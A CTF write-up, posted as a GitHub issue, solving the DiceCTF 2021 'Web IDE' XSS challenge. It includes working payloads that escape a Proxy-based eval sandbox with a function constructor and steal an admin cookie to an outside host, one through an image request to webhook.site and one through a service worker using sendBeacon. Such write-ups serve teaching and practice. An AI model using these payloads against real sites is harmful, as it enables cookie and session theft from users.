DiceCTF 2021 - Web IDE
aszx87410 opened this issue · comments
It's like a Web IDE, you can write code on the UI and see the result:
Source code is available:
const express = require('express');
const crypto = require('crypto');
const app = express();
const adminPassword = crypto.randomBytes(16).toString('hex');
const bodyParser = require('body-parser');
app.use(require('cookie-parser')());
// don't let people iframe
app.use('/', (req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
return next();
});
// sandbox the sandbox
app.use('/sandbox.html', (req, res, next) => {
res.setHeader('Content-Security-Policy', 'frame-src \'none\'');
// we have to allow this for obvious reasons
res.removeHeader('X-Frame-Options');
return next();
});
// serve static files
app.use(express.static('public/root'));
app.use('/login', express.static('public/login'));
// handle login endpoint
app.use('/ide/login', bodyParser.urlencoded({ extended: false }));
app.post('/ide/login', (req, res) => {
const { user, password } = req.body;
switch (user) {
case 'guest':
return res.cookie('token', 'guest', {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
case 'admin':
if (password === adminPassword)
return res.cookie('token', `dice{${process.env.FLAG}}`, {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
break;
}
res.status(401).end();
});
// handle file saving
app.use('/ide/save', bodyParser.raw({
extended: false,
limit: '32kb',
type: 'application/javascript'
}));
const files = new Map();
app.post('/ide/save', (req, res) => {
// only admins can save files
if (req.cookies.token !== `dice{${process.env.FLAG}}`)
return res.status(401).end();
const data = req.body;
const id = `${crypto.randomBytes(8).toString('hex')}.js`;
files.set(id, data);
res.type('text/plain').send(id).end();
});
app.get('/ide/saves/:id', (req, res) => {
// only admins can view files
if (req.cookies.token !== `dice{${process.env.FLAG}}`)
return res.status(401).end();
const data = files.get(req.params.id);
if (!data) return res.status(404).end();
res.type('application/javascript').send(data).end();
});
// serve static files at ide, but auth first
app.use('/ide', (req, res, next) => {
switch (req.cookies.token) {
case 'guest':
return next();
case `dice{${process.env.FLAG}}`:
return next();
default:
return res.redirect('/login');
}
});
app.use('/ide', express.static('public/ide'));
app.listen(3000);
The goal is to steal admin's cookie, so it's another XSS challenge!
First, we need to know how this web IDE works.
It's the ide html source code:
<!doctype html>
<html>
<head>
<title>Web IDE</title>
<link rel="stylesheet" href="src/styles.css"/>
<script src="src/index.js"></script>
</head>
<body>
<div id="editor">
<textarea>console.log('Hello World!');</textarea>
<iframe src="../sandbox.html" frameborder="0" sandbox="allow-scripts"></iframe>
<br />
<button id="run">Run Code</button>
<button id="save">Save Code (Admin Only)</button>
</div>
</body>
</html>
And src/index.js
(async () => {
await new Promise((r) => { window.addEventListener(('load'), r); });
document.getElementById('run').addEventListener('click', () => {
document.querySelector('iframe')
.contentWindow
.postMessage(document.querySelector('textarea').value, '*');
});
document.getElementById('save').addEventListener('click', async () => {
const response = await fetch('/ide/save', {
method: 'POST',
body: document.querySelector('textarea').value,
headers: {
'Content-Type': 'application/javascript'
}
});
if (response.status === 200) {
window.location = `/ide/saves/${await response.text()}`;
return;
}
alert('You are not an admin.');
});
})();
When user clicks "Run Code", it postMessage
to the iframe sandbox.html
, that's all.
Then, we need to check sandbox.html:
<!doctype html>
<html>
<head>
<script src="src/sandbox.js"></script>
<link rel="stylesheet" href="src/styles.css"/>
</head>
<body id="sandbox">
</body>
</html>
src/sandbox.js
(async () => {
await new Promise((r) => { window.addEventListener(('load'), r); });
const log = (data) => {
const element = document.createElement('p');
element.textContent = data.toString();
document.querySelector('div').appendChild(element);
window.scrollTo(0, document.body.scrollHeight);
};
const safeEval = (d) => (function (data) {
with (new Proxy(window, {
get: (t, p) => {
if (p === 'console') return { log };
if (p === 'eval') return window.eval;
return undefined;
}
})) {
eval(data);
}
}).call(Object.create(null), d);
window.addEventListener('message', (event) => {
const div = document.querySelector('div');
if (div) document.body.removeChild(div);
document.body.appendChild(document.createElement('div'));
try {
safeEval(event.data);
} catch (e) {
log(e);
}
});
})();
It listens to window.message
event and pass the data to safeEval
. It's wrapped in a Proxy so only window.console
and window.eval
are available.
We can see result at right side because it overrides console.log
.
The first thing we need to bypass is the window proxy.
From what I know, there are couple of ways to execute arbitrary js:
- window.eval
- window.location + javascript pseudo protocol(javascript:)
- window.setTimeout and window.setInterval
- function constructor
We can choose the one without accessing window: function constructor
!
([].map.constructor('alert(1)'))()
We can host our own html file and embed sandbox.html as iframe. Then we can post message to this iframe to do XSS.
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<iframe name="f" onload="run()" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
<script>
function run() {
window.frames.f.postMessage(`([].map.constructor('alert(1)'))()
`, '*')
}
</script>
</body>
</html>
Replace alert(1)
with alert(document.cookie)
, we can see the cookie:
Wait, where is the cookie?
I checked the source code again and found this:
app.post('/ide/login', (req, res) => {
const { user, password } = req.body;
switch (user) {
case 'guest':
return res.cookie('token', 'guest', {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
case 'admin':
if (password === adminPassword)
return res.cookie('token', `dice{${process.env.FLAG}}`, {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
break;
}
res.status(401).end();
});
The cookie has path: /ide
but the path of sandbox.html is /
, so we can't get cookie from /sandbox.html
I have tried couple of ways but none of them work, like:
- Change
/sandbox.html
to/ide/..%2fsandbox.html
but script won't load - Try to use iframe with src
/ide
but it fails because ofX-Frame-Options
- Change location to
/ide
and alert document.cookie again
I also tried to google the keyword like: get subpath cookie ctf
or get another path cookie
but still can't find any useful resource.
Suddenly, I have an idea about window.open
The return value of the window.open
is the window of the new tab. So if we can access this window object, maybe newWindow.document.cookie
works?
So I tried this:
var w1 = window.open('https://web-ide.dicec.tf/ide')
// wait for window loaded
setTimeout(() => {
alert(w1.document.cookie)
}, 2000)
To my surprise, it works!
I checked the mdn, it seems we can get window as long as it's same origin.
Combined with the function constructor, here is the final payload(I formatted it a bit for readability):
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<iframe name="f" onload="run()" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
<script>
function run() {
window.frames.f.postMessage(
`([].map.constructor('
var w1=window.open("https://web-ide.dicec.tf/ide");
setTimeout(()=>{
var c=document.createElement("img");
c.src="https://webhook.site/b3d7bde5-a4c4-4794-a026-225bb6dec91d?c=1"+w1.document.cookie;
document.body.appendChild(c)
}, 2000)
'))()`
, '*'
)
}
</script>
</body>
</html>
After host this file and send the link to admin bot, we can get the flag.
Update:
The intended solution from author Ailuropoda Melanoleuca:
https://discord.com/channels/805956008665022475/808122408019165204/808143656946368512
<iframe id='f' src='https://web-ide.dicec.tf/sandbox.html'></iframe>
<script>
f.addEventListener('load', () => {
f.contentWindow.postMessage(`[].slice.constructor('return this')().fetch("https://web-ide.dicec.tf/ide/save", {
"headers": {
"content-type": "application/javascript",
},
"body": "self.addEventListener('fetch', e=>{if (e.request.method != 'GET') {return;} e.respondWith(new Response('<script>navigator.sendBeacon(\\\\'CALLBACK URL HERE\\\\', document.cookie)</sc'+'ript>',{headers:{\\'content-type\\':\\'text/html\\'}}));});",
"method": "POST",
"mode": "cors",
"credentials": "include"
}).then(response=>response.text()).then(path=>{[].slice.constructor('return this')().navigator.serviceWorker.register('/ide/saves/'+path, {scope: '/ide/saves/'})});`, '*');
setTimeout(() => {location = 'https://web-ide.dicec.tf/ide/saves/'}, 1000)
})
</script>
Use service worker + navigator.sendBeacon, amazing